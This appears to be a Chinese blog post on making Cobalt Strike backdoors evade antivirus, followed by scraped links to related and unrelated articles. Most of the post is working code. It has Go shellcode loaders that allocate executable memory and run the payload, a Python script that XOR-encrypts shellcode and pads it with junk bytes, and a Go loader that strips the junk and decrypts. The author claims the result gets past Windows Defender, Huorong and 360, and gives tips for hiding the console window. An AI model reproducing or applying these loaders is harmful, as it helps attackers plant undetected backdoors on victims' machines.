0x01 go免杀

由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了地,还怎么能进一步执行呢?关于后门免杀,网上的介绍已经很多了,原理其实大同小异。看了很多网上的案例,发现网上比较多都是用C/C++和python来进行免杀,但是很多已经被杀软看的死死的,

非常容易就被识别出来了,那我想能不能用一种稍微小众一点的语言来写免杀呢,这里就不得不说到go语言。

Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。而且go语言支持交叉编译可以跨平台。

本文基于cobalt strike生成的.c文件来进行免杀测试。

0x02 免杀测试

首先生成成一个.C文件





这里先贴一个最原始的go加载代码

package main

import (
"syscall"
"unsafe"
) const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
) var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
) func main() {
xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...} addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

这里注意:因为杀软对直接加载shellcode的一般都是落地秒,所以我们得换种方式,将shellcode混淆加密后再解密来使用。

加密和混淆经常使用的有异或加密,AES加密,或者添加随机字符等。

但是随着现在使用这种方法的人越来越多,杀软检测力度也越来越大,所以现在混淆的关键就是方式尽量要小众,或者自己写加密方法。

这里有个好的地方就是,现在网上实现加密混淆操作的大都是使用C/C++来完成的,有些比较好的思路用C/C++实现可能会被杀软拦截,但是如果把它移植到go上面说不定就有不一样的效果。

先从整个shellcode混淆的脚本

def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode def random_decode(shellcode):
j = 0
new_shellcode = ""
for i in range(0,len(shellcode)):
if i % 2 == 0:
new_shellcode[i] = shellcode[j]
j += 1 return new_shellcode def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 每个字节后面添加随机一个字节,随机字符来源于key
for i in range(0, len(shellcode)):
#print(ord(shellcode[i]))
new_shellcode += shellcode[i]
# print("&"+hex(ord(new_shellcode[i])))
new_shellcode += key[i % key_len] #print(i % key_len)
return new_shellcode # 将shellcode打印输出
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw if __name__ == '__main__':
shellcode = ""
# 这是异或和增加随机字符使用的key
key = "iqe"
print(shellcode[0])
print(len(shellcode))
# 首先对shellcode进行异或处理
shellcode = xor(shellcode, key)
print(len(shellcode)) # 然后在shellcode中增加随机字符
shellcode = add_random_code(shellcode, key) # 将shellcode打印出来
print(str_to_hex(shellcode))

加密shellcode后,再使用go语言加载混淆后的shellcode,先解密再执行。

package main

import (
"fmt"
"syscall"
"time"
"unsafe"
) const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。 ) var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
) func main() {
mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}
var ttyolller []byte
key := []byte("iqe")
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
// 去除垃圾代码
fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if (i % 2 == 0) {
shellcode_final = append(shellcode_final,mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
fmt.Print(shellcode_final)
// 解密异或
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

直接go build生成exe文件

生成的文件大概有2M,再经过UPX压缩后大概只有1M,这比python生成的要小很多了。



静态完美过WindowsDefender,火绒和360全家桶





可以正常上线



VT查杀率71/8



可以看到国内的就一款杀软查出来了

后记

用go编译的exe文件执行后会弹出黑框这里有两个解决办法

  • 在initial_beacon中设置auto migrate,但还得连带把initial sleep设置成尽可能短
  • build时添加操作选项:-ldflags="-H windowsgui"

参考

https://payloads.online/archivers/2019-11-10/1

https://saucer-man.com/operation_and_maintenance/465.html#cl-5

http://iv4n.cc/go-shellcode-loader/#shellcode-loader

https://payloads.online/archivers/2019-11-10/3

go免杀初探的更多相关文章

  1. 【黑客免杀攻防】读书笔记7 - 软件逆向工程基础1(函数调用约定、Main函数查找)

    0x1 准备工作 1.1.准备工具 IDA:交互式反汇编工具 OllyDbg:用户层调试工具 Visual Studio:微软开发工具 1.2.基础知识 C++开发 汇编语言 0x2 查找真正的mai ...

  2. 免杀后门之MSF&Veil-Evasion的完美结合

    本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装 ...

  3. PHP一句话过狗、卫士、D盾等免杀思路!

    原文转载于:http://www.legendsec.org/1701.html 觉得写得还算蛮科普的. 00x1.关键字拆分.         比如assert,可以写成 ‘a’.’ss’.’e’. ...

  4. Atitit.木马病毒的免杀原理---sikuli 的使用

    Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...

  5. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  6. 浅谈C++源码的过国内杀软的免杀

    以下只是简单的思路和定位.也许有人秒过,但是不要笑话我写的笨方法.定位永远是过期不了的. 其实这里废话一下 , 本人并不是大牛 ,今天跟大家分享下 .所以写出这篇文章.(大牛飘过) 只是个人实战的经验 ...

  7. lcx源代码以及免杀的研究

    之前和Random大神讨论了一下免杀的问题,他给出了一个比较不错的想法,使用debug版本发布可以过很多杀软.顺便看了下lcx的源码,发现其代码不算特别复杂,于是乎就在这分析一下. 报毒情况 因为使用 ...

  8. 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

    这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...

  9. Exp3免杀原理与实践 20164312 马孝涛

    1.实验要求   1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编 ...

随机推荐

  1. 远程部署项目,修改catalina.bat文件 完美解决在代理服务器上HttpURLConnection 调接口超时的问题

    远程给客户部署项目,运行时程序调外部接口时总是出不去,经过不懈努力,后来发现客户那边的网络走的是代理,于是在代码中加下面代码: //设置代理 System.setProperty("http ...

  2. Qt Undo Framework

    Qt undo/redo 框架 基于Command设计模式 支持命令压缩和命令合成 提供了与工具包其他部分融合很好的widgets和actions 术语(Terminology) Command - ...

  3. CUDA 介绍

    1. 介绍 1.1 GPU vs. CPU GPU 使用更多的晶体管进行数据处理,而不是数据缓存和流控制,因此可以提供高度的并行计算. GPU 可以通过计算来隐藏内存访问延迟,而不是依赖于大量的数据缓 ...

  4. IDEA 2019 Unable to get current time from Google's servers 解决

    取消android support即可

  5. 命名规范 api-guidelines api规范

    https://weui.io weui.css .weui-cell_select-before .weui-cell__bd:after{ display:none; } .weui-cell_s ...

  6. 【Source Insight】查找功能 Lookup References 详解

    1.Options Case Sensitive //区分大小写 Whole Words Only //全字匹配查找 Skip Inactive Code //跳过无效代码查找 Skip Commen ...

  7. java的几种对象(PO,VO,DAO,BO,POJO)

    一.PO persistant object 持久对象,可以看成是与数据库中的表相映射的java对象.最简单的PO就是对应数据库中某个表中的一条记录,多个记录可以用PO的集合.PO中应该不包含任何对数 ...

  8. Java面试,面试题

    Java面试,面试题 HashMap,HashTable,ConcurrentHash的共同点和区别 HashMap HashTable ConcurrentHashMap ArrayList和Lin ...

  9. eclipse中Tomcat修改项目名称

    1.打开你的项目目录,找到一个.project文件,打开后修改<name> test</name>中的值,将test修改成你要修改的名字: 2.在项目目录下,打开.settin ...

  10. JavaScript 、TypeScript 中的 Boolean

    boolean 是 JavaScript 中一种有趣的原始数据类型.在TypeScript中,非严格模式下("strictNullChecks": false),它总共允许4个值 ...